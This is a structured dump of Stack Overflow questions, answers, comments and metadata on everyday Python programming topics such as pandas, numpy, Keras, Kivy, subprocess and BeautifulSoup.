comment on: http://stackoverflow.com/a/49500514
type: Comment
has text: No problem, glad I could help.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/116790149
type: AnswerComment
score: 3
type: Comment
has text: One interesting to note too, is that np.multiply can be used for non numpy arrays: `[ x1, ..., xn ] * [y1, ..., yn]` wouldn't work, but `np.multiply([ x1, ..., xn ] * [y1, ..., yn])` does.
comment on: http://stackoverflow.com/a/49493530

http://stackoverflow.com/q/49463057
tagged with: windows
tagged with: registry
tagged with: python
has comment: http://stackoverflow.com/comment/85951637
score: 0
answer count: 0
tagged with: subprocess
has comment: http://stackoverflow.com/comment/85952252
has comment: http://stackoverflow.com/comment/85943564
has comment: http://stackoverflow.com/comment/85949135
has body: as a part of a python project i'm writing i need to open a file (could be all sorts of types) in its own program according to the registry (i need it to work on windows only) and wait until the program is closed so i can check if the file was changed (or edited in the program). i read a lot of other questions about this subject, yet i can find the solution. i tried using subproccess.Popen, call or check_all as well as os.startfile and psutil for checking the pid of the procces. EDIT: all the files are located in the same folder with the script that opens them. i can open the files yet i cant get it to wait until it closes. it will wait only when the program is notepad.exe EDIT 2: so far i used this code: doc = subprocess.Popen(["start", "/WAIT", file_path], shell=True) doc.wait() this code opens any file i ask it to but the doc.wait() will wait only when notepad.exe is the opened program. for example, i tried opening a .docx file with microsoft word and it opened but didnt wait for me to close the document. i cant run it without shell=True because when i do it throws a "can find file" error. thanks for any answers, dor
type: Question
type: UnansweredQuestion
has title: trying to open a file in its own program and wait until it closes

http://stackoverflow.com/a/49506154
has comment: http://stackoverflow.com/comment/86017005
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/49506102
has body: Try this: myString = "3 45 12" numericdata = myString.split(' ') numbers = [] for i in numericdata: numbers.append(int(i)) print(numbers)
type: Answer
has comment: http://stackoverflow.com/comment/86022776
accepted answer of: http://stackoverflow.com/q/49506102
has comment: http://stackoverflow.com/comment/86016963
has comment: http://stackoverflow.com/comment/86024121
downvote count: 0
has comment: http://stackoverflow.com/comment/86023312
has comment: http://stackoverflow.com/comment/86023387
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86023180
has comment: http://stackoverflow.com/comment/86023421

http://stackoverflow.com/q/49500069
tagged with: information-retrieval
tagged with: full-text-search
type: Question
has title: Efficient way to find specific words in the entire corpus
has comment: http://stackoverflow.com/comment/86005125
accepted answer: http://stackoverflow.com/a/49501682
has comment: http://stackoverflow.com/comment/86006138
has answer: http://stackoverflow.com/a/49501682
tagged with: python
type: AnsweredQuestion
score: 0
has body: I have to construct a document with term weights for each word in the corpus and I have a couple of pre-processing steps to do. One of them is to remove every word appearing less than 5 times in the entire corpus. This is what I have done and I'm sure it is not the most efficient method. Suppose I have 10 HTML documents. I read from each document, tokenize using nltk and BeautifulSoup, write the output to a file . I have to do this for all 10 documents first. Again read all 10 documents to check how many times a particular term appears in the ENTIRE CORPUS and write the output to different files. Since I am reading and writing each file twice(have to do this for 1000 documents) , it is taking very long to execute the program. Would really appreciate if anyone can suggest an alternate method that doesn't take so long and is way more efficient. I am using Python3 . Thank you def remove_words(temp_path): #####PREPROCESING : Remove words that occur only once in the entire corpus , i.e words with value =1 temp_dict={} with open(temp_path) as file: for line in file: (key,value)=line.split() temp_dict[key]=value #print("Lenght before removing words appearing just once: %s"%len(temp_dict)) check_dir=temp_dict.copy() new_dir=full_dir.copy() for k,v in check_dir.items(): #Compare each temperary dictionary with items in full_dir. If a match exits and the key value=1, delete it for a,b in new_dir.items(): if k==a and b==1: del temp_dict[k] #print("Length after removing words appearing just once: %s \n"%len(temp_dict)) return temp_dict def calc_dnum(full_dir,temp_dict): #Function to calculate the total number of documents each word appears in dnum_list={} for k,v in full_dir.items(): for a,b in temp_dict.items(): if k==a: dnum_list[a]=v return dnum_list
answer count: 1

http://stackoverflow.com/q/49479755
downvote count: 3
tagged with: python
score: -1
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/85962618
answer count: 2
upvote count: 2
has body: Is there a pythonic way to create a list from indexes of another list? Iam trying to create a list from indexes of another one. I read that enumerate() can be used to iterate through both index and values of a given list. But don't really know how to apply that in my case. In my case the procedure looks like this: list_1 = [11,10,7,0,3,5,8,1,4,6,9,2] The second list should contain the indexes of the first one but from the next index except from the index 0. For example for index 0 in list_1 which contains the value 11 the next value would be 12 but it does not exist in the list_1 so the next value is 0 which actually is the smallest value, so the value for index 0 in list_2 would be the index of list_1 which contains the value 0, in this case would be 3. For the index 1 in list_1 the value is 10 so the value for index 1 in list_2 would be the index which contains the value 11 (10+1), in this case 0. As a result the list_2 is: list_2 =[3,0,6,7,8,9,10,11,5,2,1,4]
has title: Create a list from another list indexes
has comment: http://stackoverflow.com/comment/85962918
favorite count: 0
accepted answer: http://stackoverflow.com/a/49480035
type: Question
tagged with: indexing
possible better answer: http://stackoverflow.com/a/49480355
has answer: http://stackoverflow.com/a/49480035
has answer: http://stackoverflow.com/a/49480355

http://stackoverflow.com/comment/86138516
type: QuestionComment
comment on: http://stackoverflow.com/q/49564979
score: 0
type: Comment
has text: "Do X for me" requests (it's hard to describe them as "questions") don't tend to get a good response here without at least showing your own effort -- not just asserting that you tried, but actually showing the code you wrote in the form of a [mcve] and describing how it fails.

http://stackoverflow.com/comment/89562231
has text: @ChristopheSchmitz: Without cqlsh, how can we create table and run query commands.? Is there any other approach exist other than datastax GUI, or cqlsh
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49516041
type: Comment

http://stackoverflow.com/a/49577439
type: AcceptedAnswer
has body: The following works: from x import t as b, u as c
accepted answer of: http://stackoverflow.com/q/49577388
score: 5
upvote count: 5
answers question: http://stackoverflow.com/q/49577388
type: Answer
downvote count: 0

http://stackoverflow.com/q/49444511
upvote count: 3
downvote count: 0
has body: I am trying to delete a key from a dictionary while iterating through it. When removing the key from the dictionary I get: RuntimeError: dictionary changed size during iteration My code: mydict = {'one': 1, 'two': 2, 'three': 3, 'four': 4} for k, v in mydict.items(): if k == 'two': del(mydict[k]) continue print(k) To avoid this I copied the same dictionary to another dictionary and then I tried to remove the content from the copied dictionary while iterating the previous dictionary. But still, I am getting the error. mydict = {'one': 1, 'two': 2, 'three': 3, 'four': 4} new_dict = mydict for k, v in mydict.items(): if k == 'two': del(new_dict[k]) continue print(k) So can anyone please help to solve this issue.
has comment: http://stackoverflow.com/comment/85896496
has comment: http://stackoverflow.com/comment/85896648
linked to: http://stackoverflow.com/q/986006
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/63364126
linked to: http://stackoverflow.com/q/5384914
has answer: http://stackoverflow.com/a/49445253
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49444535
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49446871
has comment: http://stackoverflow.com/comment/85895476
has answer: http://stackoverflow.com/a/49445645
has title: Unable to delete a dictionary key while iterating over it in python3: "RuntimeError: dictionary changed size during iteration"
score: 3

http://stackoverflow.com/comment/86128368
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49558291
type: AnswerComment
has text: Hi Kob, it was more then a suggestion, I tested the code and it worked for me, I added all my code to the answer. If this still not works for you, let me know then it is possibly a matter of timing. Also let me know if you need some explanation.

http://stackoverflow.com/comment/86198334
has text: @macsontaylor print the variable `key` when you press the enter key that does not work for you.
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49595328
type: AnswerComment

http://stackoverflow.com/comment/85974020
score: 0
comment on: http://stackoverflow.com/q/49484790
type: QuestionComment
has text: http://docs.sqlalchemy.org/en/latest/orm/tutorial.html#building-a-relationship
type: Comment

http://stackoverflow.com/q/49531423
tagged with: python
accepted answer: http://stackoverflow.com/a/49531714
has body: I have a lot of questions about RGBA and ARGB color models. What is the difference between RGBA and ARGB color space. Is it all about the arrangement of Alpha, Red, Green and Blue Channels? In my case, I want to read an image with jpg extension. Can I extract alpha channel from the image? Using an image with jpg extension. How will I convert the image into RGBA color space in python? Below is my initial code: frame = cv2.imread("image.jpg", -1) print( frame[0,0]) The print statement above only display RGB values. How will I include the alpha channel?
tagged with: opencv
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49531714
tagged with: color-space
answer count: 1
upvote count: 1
has title: Difference between ARGB, RGBA Color Space in Python OpenCV
downvote count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/32971241
linked to: http://stackoverflow.com/q/9147883
tagged with: alpha
has comment: http://stackoverflow.com/comment/86073649
tagged with: colors

http://stackoverflow.com/a/67651873
downvote count: 0
upvote count: 1
type: Answer
score: 1
has body: I had the same problem and I found out that imageio can do the job: img = imageio.imread('path/to/img', format='PNG-FI') With this option you can read and write multi-channel 16-bit png images (by default imageio uses PNG-PIL as format for reading png files). This works for png images, but changing the format can probably help when dealing with other image types (here a full list of available imageio formats). To use this format you may need to install the FreeImage plugin as shown in the documentation.
answers question: http://stackoverflow.com/q/49599539

http://stackoverflow.com/q/49502324
score: -1
has title: how to speed up expanding list from map iterator
has comment: http://stackoverflow.com/comment/86009078
has answer: http://stackoverflow.com/a/49502444
tagged with: pandas
upvote count: 0
has comment: http://stackoverflow.com/comment/86008838
has comment: http://stackoverflow.com/comment/86008756
has comment: http://stackoverflow.com/comment/86008874
answer count: 1
has comment: http://stackoverflow.com/comment/86008788
has comment: http://stackoverflow.com/comment/86008850
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86009132
has comment: http://stackoverflow.com/comment/86008906
has body: I have some text data in a pandas column. Basically each document is part of the column value. Each document is multi sentence long. I wanted to split each document into sentence and then for each sentence I want to get a list of words. So if a document is 5 sentence long, I will have a list of list of words with length 5. I used a mapper function to do some operations on that and got a list of words for each sentence of a text. Here is a mapper code: def text_to_words(x): """ This function converts sentences in a text to a list of words """ nlp=spacy.load('en') txt_to_words= [str(doc).replace(".","").split(" ") for doc in nlp(x).sents] return txt_to_words Then I did this: %%time txt_to_words=map(text_to_words,pandas_df.log_text_cleaned) It got done in 70 micro seconds and I got a mapper iterator. Now if I want to add each list of list of words of each document as a new value of a new column in the same pandas data frame. I can simply do this: txt_to_words=[*map(text_to_words,pandas_df.log_text_cleaned)] Which will expand the map iterator and store it in txt_to_words as list of list of words. But this process is very slow. I even tried looping over the map object : txt_to_words=map(text_to_words,pandas_df.log_text_cleaned) txt_to_words_list=[] for sent in txt_to_words: txt_to_words_list.append(sent) But this is similar slow. extracting the output from a mapper object is very slow. And I just have 67K documents in that pandas data frame column. Is there a way this can be sped up? Thanks
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86008951
has comment: http://stackoverflow.com/comment/86008770
has comment: http://stackoverflow.com/comment/86009020
tagged with: python

http://stackoverflow.com/comment/85890916
type: AnswerComment
comment on: http://stackoverflow.com/a/49444245
type: Comment
has text: while adding these lines I'm getting error like index out of range
score: 0

http://stackoverflow.com/comment/86104387
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49545214
has text: The question marked as an "exact duplicate" is not the same - that one is (in my terms) how to get `Foo(20).bar(7)` and `Foo.bar(20, 7)` to behave the same, mine is about `Foo(20).bar(7)` and `Foo.bar(7)`. The distinction is important because the whole point is to keep the existing interface `Foo.bar(7)`.
type: Comment

frequency-distribution
tag name: frequency-distribution
tags question: http://stackoverflow.com/q/49580179
type: Tag

http://stackoverflow.com/comment/86179665
has text: @frankhk I'll write an answer then.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49585479

http://stackoverflow.com/comment/86196191
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49594323
has text: You need to change your line `vetorAux = [] * len(vetorNum)` to `vetorAux = [0] * len(vetorNum)` instead. Otherwise `vetorAux` will be empty.

http://stackoverflow.com/a/49468540
answers question: http://stackoverflow.com/q/49468466
has body: First, if [row[0].value] != "None": is comparing a list whose single element is row[0].value. That list can never be equal to None or "None" or anything else but a list. You probably wanted to just compare row[0].value. Second, the values you're trying to filter out are presumably None values, not string values whose characters are "None". Third, if the last one is right, you almost always want to use is, not ==, to compare with None. So: if row[0].value is not None:
type: Answer
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85939697
accepted answer of: http://stackoverflow.com/q/49468466
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85939766
has comment: http://stackoverflow.com/comment/85939661

http://stackoverflow.com/q/49521098
has comment: http://stackoverflow.com/comment/86048245
type: UnansweredQuestion
answer count: 1
tagged with: python
tagged with: parallel-processing
score: 0
has comment: http://stackoverflow.com/comment/86048074
has title: how to parallelize a for loop without repeating ID
tagged with: multiprocessing
type: Question
has answer: http://stackoverflow.com/a/49521223
tagged with: python-3.x
has body: I'm kind of new to Python. I am indexing through a website and scraping values off of it, but since there's like 100k pages to index through, it takes a lot of time. I was wondering how I could speed it up. I read that multithreading could be conflicting / not work for this and that multiprocessing would be the best way to start. Here is an example of my code: def main(): for ID in range(1, 100000): requests.get("example.com/?id=" + str(ID)) #do stuff/print html elements off of url. If I do something like this: if __name__ == '__main__': for i in range(50): p = multiprocessing.Process(target=main) p.start() It does run the function in parallel but I only want each process to scrape an ID that is not already being scraped by another process. if I do p.join() it doesn't seem to increase the speed at all than without multiprocessing so I'm not sure what to do.

http://stackoverflow.com/a/49479801
has comment: http://stackoverflow.com/comment/85962647
upvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/85962631
score: -3
has body: This may be because you are trying to use or print the a variable after the function, while a is only a temporary variable inside the function
downvote count: 3
answers question: http://stackoverflow.com/q/49479690

http://stackoverflow.com/comment/86082234
has text: If this is something you think you can use, I'll edit in a few lines to store it in an active powerpoint presentation as well when I find the time.
type: AnswerComment
comment on: http://stackoverflow.com/a/49532289
score: 0
type: Comment

http://stackoverflow.com/q/49443168
type: Question
has body: I need to clean *.txt files from a folder. Some files do not have the right data format and python throws a traceback. how do I skip the improper files and resume with the others without having to remove it and re-run the program. for filename in glob.glob('datafolder/*.txt'): inputfile = open(filename, 'r') npv = [] for i, line in inputfile: npv.append(line[34:36]) # the site of fault The error is: Traceback (most recent call last): File "dataprep.py", line 51, in &lt;module&gt; npv.append(int(line[34:36])) ValueError: invalid literal for int() with base 10: '' I want to drop the current 'filename' and go ahead with the next 'filename'.
type: UnansweredQuestion
tagged with: arrays
tagged with: python
has comment: http://stackoverflow.com/comment/85888044
has title: How to resume python program skipping data files that have faulty line format?
score: 1
downvote count: 0
answer count: 1
upvote count: 1
has answer: http://stackoverflow.com/a/49443215
favorite count: 0

http://stackoverflow.com/q/49534036
linked to: http://stackoverflow.com/q/27914069
downvote count: 0
linked to: http://stackoverflow.com/q/5328556
has comment: http://stackoverflow.com/comment/86074426
answer count: 1
favorite count: 0
has title: Methods for Point of View Analysis using Python
tagged with: python-3.x
type: Question
has answer: http://stackoverflow.com/a/49534444
tagged with: python
type: UnansweredQuestion
tagged with: nlp
tagged with: python-2.7
tagged with: text-analysis
has body: Can anyone please point me to some techniques to do a Point of View Analysis on novel text? I'm basically looking for methods to determine how many words were written from different characters Points of View in any novel preferably using Python Something like this: Statistical Analysis of WoT
has comment: http://stackoverflow.com/comment/86074861
score: 2
upvote count: 2

http://stackoverflow.com/q/49562671
has title: Checking if an object is an int or int-like in Python C API
has answer: http://stackoverflow.com/a/49562820
upvote count: 3
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86133521
favorite count: 0
type: Question
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/86133663
has comment: http://stackoverflow.com/comment/86133475
has body: Is there a an operation similar to PyInt_Check/PyLong_Check that takes into account whether or not the type has an __int__ method? The closest workaround I have been able to find so far is int check_int(PyObject *obj) { long lng; int over; lng = PyLong_AsLongAndOverflow(obj, &amp;over); if(lng == -1 &amp;&amp; over == 0 &amp;&amp; PyErr_Occurred()) { PyErr_Clear(); #if PY_MAJOR_VERSION &lt;= 2 lng = PyInt_AsLong(obj); if(lng == -1L &amp;&amp; PyErr_Occurred()) { PyErr_Clear(); return 0; } #else return 0; #endif } return 1; } The problem here is that I am effectively doing something like def isint(obj): try: int(obj) except TypeError: return False else: return True However, this being C, I would prefer to do something like def isint(obj): return isinstance(obj, int) or hasattr(type(obj), '__int__') I would expect such a check to already exist because PyInt_AsLong and PyLong_AsLongAndOverflow already perform it. I just want to be able to know if an object might be an integer without getting the integer value at all. That being said, I can see the point of actually getting the value, since hasattr(type(obj), '__int__') does not actually guarantee that the object can be reasonably used as an integer: e.g., if the attribute is not a function or just raises an error. In that case "no" may be a valid answer.
has comment: http://stackoverflow.com/comment/86133403
has comment: http://stackoverflow.com/comment/86133545
tagged with: python
accepted answer: http://stackoverflow.com/a/49562820
has comment: http://stackoverflow.com/comment/86133397
tagged with: python-c-api

http://stackoverflow.com/q/49594923
has comment: http://stackoverflow.com/comment/86217371
has answer: http://stackoverflow.com/a/49595328
score: 3
tagged with: python
has comment: http://stackoverflow.com/comment/86197309
tagged with: kivy
has title: Kivy : How to use on_key_down and on_key_up keyboard event in Tree View?
has comment: http://stackoverflow.com/comment/86197361
has comment: http://stackoverflow.com/comment/86217284
type: AnsweredQuestion
tagged with: python-2.7
tagged with: kivy-language
has comment: http://stackoverflow.com/comment/86197694
has comment: http://stackoverflow.com/comment/86217324
has body: I am using python-2.7 and kivy-1.10.0. When i click on name TextInput then Tree View shows. I want the label to be selected with the up and down keys, and when the enter key is pressed the text is copied the selected text is copied to the initial form as it is currently done when you click on the item test.py from kivy.uix.screenmanager import Screen from kivy.app import App from kivy.lang import Builder from kivy.core.window import Window from kivy.uix.popup import Popup from kivy.uix.treeview import TreeView, TreeViewLabel, TreeViewNode from kivy.uix.label import Label from kivy.properties import ObjectProperty Window.size = (500, 200) def populate_tree_view(tree_view, parent, node): if parent is None: tree_node = tree_view.add_node(TreeViewLabel(text=node['node_id'], is_open=True)) else: tree_node = tree_view.add_node(TreeViewLabel(text=node['node_id'], is_open=True), parent) for child_node in node['children']: populate_tree_view(tree_view, tree_node, child_node) tree = [] rows = [(1, 'test1', 11), (2, 'test2', 2), (3, 'test3', 3)] for r in rows: tree.append({'node_id': r[1], 'children': []}) class TreeViewLabel(Label, TreeViewNode): pass class TreeviewGroup(Popup): treeview = ObjectProperty(None) tv = ObjectProperty(None) #ti = ObjectProperty() def __init__(self, **kwargs): super(TreeviewGroup, self).__init__(**kwargs) self.tv = TreeView(root_options=dict(text=""), hide_root=False, indent_level=4) for branch in tree: populate_tree_view(self.tv, None, branch) self.remove_widgets() self.treeview.add_widget(self.tv) def remove_widgets(self): for child in [child for child in self.treeview.children]: self.treeview.remove_widget(child) def select_node(self, node): '''Select a node in the tree. ''' if node.no_selection: return if self._selected_node: self._selected_node.is_selected = False node.is_selected = True self._selected_node = node print(node) class GroupScreen(Screen): name = ObjectProperty(None) popup = ObjectProperty(None) def display_groups(self, instance):…
upvote count: 3
has comment: http://stackoverflow.com/comment/86197310
has comment: http://stackoverflow.com/comment/86217341
answer count: 1
has comment: http://stackoverflow.com/comment/86197238
downvote count: 0
linked to: http://stackoverflow.com/q/47212144
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49595328

http://stackoverflow.com/q/49471894
has comment: http://stackoverflow.com/comment/85946736
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85947269
linked to: http://stackoverflow.com/q/43106536
has answer: http://stackoverflow.com/a/49517404
has comment: http://stackoverflow.com/comment/85946686
has comment: http://stackoverflow.com/comment/86040240
has comment: http://stackoverflow.com/comment/85946493
score: -1
has title: Newton Method, type issue
linked to: http://stackoverflow.com/q/20449427
has answer: http://stackoverflow.com/a/49472046
type: Question
has comment: http://stackoverflow.com/comment/85946520
answer count: 2
upvote count: 0
type: UnansweredQuestion
tagged with: types
tagged with: python
has body: a=input("Write your function") b=input("Input the derivative of your function ") def f(x): return a def fprime(x): return b guess= 1 for n in range(1, 100): nextguess = guess - f(guess)/fprime(guess) print(nextguess) guess = nextguess The error code: Traceback (most recent call last): File "C:\Users\Anton Morian\kod\Projekt.py", line 13, in &lt;module&gt; nextguess = guess - f(guess)/fprime(guess) TypeError: unsupported operand type(s) for /: 'str' and 'str'

http://stackoverflow.com/comment/86195505
type: AnswerComment
has text: @AntonvBR I agree, your solution is even easier to read. I didn't know series.update().
score: 1
comment on: http://stackoverflow.com/a/49593809
type: Comment

http://stackoverflow.com/q/49493372
type: AnsweredQuestion
score: 0
tagged with: apache-spark
answer count: 1
upvote count: 1
tagged with: livy
downvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
has body: I have a .py file that contains a machine learning with apache spark using mongodb and i want to connect the results of my code to an android application, is this a way to do that with a REST api , I heared about tensorflow and livy!
accepted answer: http://stackoverflow.com/a/49493672
has title: REST api for apache spark
tagged with: android
has answer: http://stackoverflow.com/a/49493672
tagged with: python

http://stackoverflow.com/a/49525377
score: 2
downvote count: 0
type: Answer
upvote count: 2
has body: What I will do str.split, with stack and apply(pd.Series) s=df.apply(lambda x : x.str.split('_')).stack().apply(pd.Series)# convert to list then unnesting it s=s.apply(pd.to_numeric,errors='coerce').dropna(1).rename(columns={0:'x',1:'y'}).unstack() # apply the numeric check , drop the na s.columns=s.columns.map('{0[1]}_{0[0]}'.format)# change multiple column to flatten s Out[1274]: eye_x nose_x mouse_x ear_x eye_y nose_y mouse_y ear_y 0 34 45 45 78 35 66 64 87 1 35 75 95 38 38 76 37 79 2 64 85 65 87 43 66 45 45
answers question: http://stackoverflow.com/q/49525337

http://stackoverflow.com/comment/85887232
comment on: http://stackoverflow.com/q/49441969
type: QuestionComment
has text: What about `print(url_list)`?
score: 0
type: Comment

http://stackoverflow.com/q/49538940
upvote count: 3
has comment: http://stackoverflow.com/comment/86086162
answer count: 1
downvote count: 0
has title: Keras: input_shape=train_data.shape produces "list index out of range"
tagged with: keras
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49540045
has answer: http://stackoverflow.com/a/49540045
tagged with: python
type: AnsweredQuestion
has body: I want to use Keras to build a CNN-LSTM network. However, I have trouble finding the right shape for the first layer's input_shape parameter. My train_data is a ndarray of the shape (1433, 32, 32); 1433 pictures of size 32x32. As found in this example, I tried using input_shape=train_data.shape[1:], which results in the same error as input_shape=train_data.shape: IndexError: list index out of range The relevant code is: train_data, train_labels = get_training_data() # train_data = train_data.reshape(train_data.shape + (1,)) model = Sequential() model.add(TimeDistributed(Conv2D( CONV_FILTER_SIZE[0], CONV_KERNEL_SIZE, activation="relu", padding="same"), input_shape=train_data.shape[1:])) All the results I found for this error were produced under different dircumstances; not through input_shape. So how do I have to shape my Input? Do I have to look for the error somewhere completely different? Update: Complete error: Traceback (most recent call last): File "trajecgen_keras.py", line 131, in &lt;module&gt; tf.app.run() File "/home/.../lib/python3.5/site-packages/tensorflow/python/platform/app.py", line 124, in run _sys.exit(main(argv)) File "trajecgen_keras.py", line 85, in main input_shape=train_data.shape)) File "/home/.../lib/python3.5/site-packages/keras/models.py", line 467, in add layer(x) File "/home/.../lib/python3.5/site-packages/keras/engine/topology.py", line 619, in __call__ output = self.call(inputs, **kwargs) File "/home/.../lib/python3.5/site-packages/keras/layers/wrappers.py", line 211, in call y = self.layer.call(inputs, **kwargs) File "/home/.../lib/python3.5/site-packages/keras/layers/convolutional.py", line 168, in call dilation_rate=self.dilation_rate) File "/home/.../lib/python3.5/site-packages/keras/backend/tensorflow_backend.py", line 3335, in conv2d data_format=tf_data_format) File "/home/.../lib/python3.5/site-packages/tensorflow/python/ops/nn_ops.py", line 753, in convolution name=name, data_format=data_format) File "/home/.../lib/python3.5/si…
score: 3

http://stackoverflow.com/a/49593754
upvote count: 14
type: AcceptedAnswer
downvote count: 0
score: 14
type: Answer
accepted answer of: http://stackoverflow.com/q/49593657
has body: The problem is that you're mixing query string parameters and post data in your params dictionary. Instead, you should use the params parameter for your query string data, and the json parameter (since the content type is json) for your post body data. When using the json parameter, the Content-Type header is set to 'application/json' by default. Also, when the response is json you can use the .json() method to get a dictionary. An example, import requests url = 'http://api.cortical.io:80/rest/expressions/similar_terms?' params = { "retina_name":"en_associative", "start_index":0, "max_results":1, "sparsity":1.0, "get_fingerprint":False } data = {"positions":[0,6,7,29]} r = requests.post(url, params=params, json=data) print(r.status_code) print(r.json()) 200 [{'term': 'headphones', 'df': 8.991197733061748e-05, 'score': 4.0, 'pos_types': ['NOUN'], 'fingerprint': {'positions': []}}]
answers question: http://stackoverflow.com/q/49593657

http://stackoverflow.com/comment/85970592
type: Comment
comment on: http://stackoverflow.com/a/49483867
type: AnswerComment
has text: @RehanAzher Ah... split on '_' instead of '-'. I think that will solve it.
score: 0

http://stackoverflow.com/q/49523927
tagged with: http://stackoverflow.com/tag/r
tagged with: python
score: -1
has body: Below is the error I am receiving. I am fairly new to Python programming. It was an assignment to recreate the Gibbs Sampler in a different language from R so I chose Python to help familiarize myself with the language. Any help on this error is much appreciated! --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-156-56d5c35de2b3&gt; in &lt;module&gt;() 50 x2_loc = data.drop(columns = ['y', 'Unnamed: 0']) 51 ---&gt; 52 gibbs_horseshoe(y_loc, x2_loc, 100) &lt;ipython-input-156-56d5c35de2b3&gt; in gibbs_horseshoe(y, X, N_sims) 33 #begin for loop 34 for i in range(1, N_sims + 1): ---&gt; 35 SIGMA = np.linalg.inv(XtX + np.zeros((tau_loc, p))) 36 beta_loc = beta_out[:, i + 1] = np.array([np.random.normal(np.dot(SIGMA, Xty), sigma_sq_loc*SIGMA, 1)]) 37 sigma_sq_loc = sigma_sq_out[i + 1] = 1/np.random.gamma((n + p + 1)/2, (1/2)*np.dot(np.dot(y-X, beta_loc)) + np.dot(tau_loc*beta_loc, beta_loc) + 1, 1) TypeError: only integer scalar arrays can be converted to a scalar index --------------------------------------------------------------------------- Code is Below import numpy as np import pandas as pd def gibbs_horseshoe(y, X, N_sims): Xt = np.transpose(X) XtX = np.dot(Xt,X) Xty = np.dot(Xt,y) p = np.shape(X)[1] #Number of columns n = np.shape(X)[0] #Number of rows N_sims = 1 tau_out = beta_out = np.zeros((p, N_sims + 1)) sigma_sq_out = np.zeros((N_sims + 1)) tau_loc = lambda_loc = np.ones(p) phi_loc = eta_loc = 1 diag_p = np.zeros((p, p)) beta_loc = np.dot(np.linalg.inv(XtX + np.fill_diagonal(diag_p, p)/n), Xty) sigma_sq_loc = 1/n(np.cross(y, y) - np.cross(Xty, beta_loc))[1, 1] tau_out[:, 1] = tau_loc beta_out[:, 1] = beta_loc sigma_sq_out[1] = sigma_sq_loc #begin for loop for i in range(1, N_sims + 1): SIGMA = linalg.inv(XtX + np.zeros(tau_loc, p)) beta_loc = beta_out[:, i + 1] = np.array([np.random.normal(np.dot(SIGMA, Xty), sigma_sq_loc*SIGMA, 1)]) sigma_sq_loc = sigma_sq_out[i + 1] = …
upvote count: 0
type: UnansweredQuestion
answer count: 1
downvote count: 1
tagged with: machine-learning
has title: Recreating Gibbs Sampler from R in Python getting Error
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49524504

http://stackoverflow.com/a/49596170
accepted answer of: http://stackoverflow.com/q/49596115
score: 6
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/49596115
type: AcceptedAnswer
downvote count: 0
has body: The axis keyword accepts tuples, so you can simply do: np.where(np.all(a==b, axis=(1, 2)))[0][0]

http://stackoverflow.com/q/49466423
accepted answer: http://stackoverflow.com/a/49466441
downvote count: 1
has answer: http://stackoverflow.com/a/49466441
possible better answer: http://stackoverflow.com/a/49466711
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85935481
has body: Ca Tên NVNL Check in Check out Thời gian làm việc trong ca Hỗ trợ ăn trưa 0 Ca Sáng Ngô Hải Anh 08:15:00 12:13:00 NaN NaN 1 Ca Chiều Ngô Hải Anh 14:00:00 17:35:00 NaN NaN 2 Ca Chiều Ngô Văn Ninh 13:30:00 17:57:00 NaN NaN 3 Ca Chiều Nguyễn Hoàng Anh 14:00:00 17:43:00 NaN NaN I want to subtract Check out to Check In column. By this code data['Thời gian làm việc']= data['Check out '] - data['Check in'] But i get this error: TypeError: unsupported operand type(s) for -: 'datetime.time' and 'datetime.time' Please help me.
tagged with: http://stackoverflow.com/tag/xlsx
tagged with: pandas
upvote count: 5
has comment: http://stackoverflow.com/comment/85935445
favorite count: 0
type: Question
score: 4
answer count: 2
has title: unsupported operand type(s) for -: 'datetime.time' and 'datetime.time'
has answer: http://stackoverflow.com/a/49466711
tagged with: python

http://stackoverflow.com/comment/86227424
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49448328
score: 0
has text: Yes, I can run them locally, but only as single test @TarunLalwani

http://stackoverflow.com/comment/85925365
type: QuestionComment
comment on: http://stackoverflow.com/q/49461161
score: 1
type: Comment
has text: Assuming it stops if the iteration exceeds `n` (so `256` through `511` would all be equivalent), `(1 << n.bit_length()) - 1` would cover all non-negative numbers, and `(1 << n.bit_length()) - 1 if n >= 0 else 0` would cover negative too.

http://stackoverflow.com/a/65378865
answers question: http://stackoverflow.com/q/49488771
has body: I was having this issue and wanted to build upon @real_kappa_guy's solution which is the correct idea but may require more explanation. I believe error comes from BeautifulSoup's attempt to determine the document's encoding. It uses a library called "Unicode, Dammit" to detect the encoding, but often the document doesn't contain enough information to accurately determine the encoding. These cases are what can lead to the encoding error being printed out. The fix is indeed to specify the from_encoding parameter with whatever the document's original encoding is (iso-8859-1 is an example). You can get the encoding programmatically from the response: soup = BeautifulSoup(r.content, 'lxml', from_encoding=r.encoding) There's more information in BeautifulSoup's documentation here.
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/49497124
accepted answer: http://stackoverflow.com/a/49497302
score: 1
tagged with: python
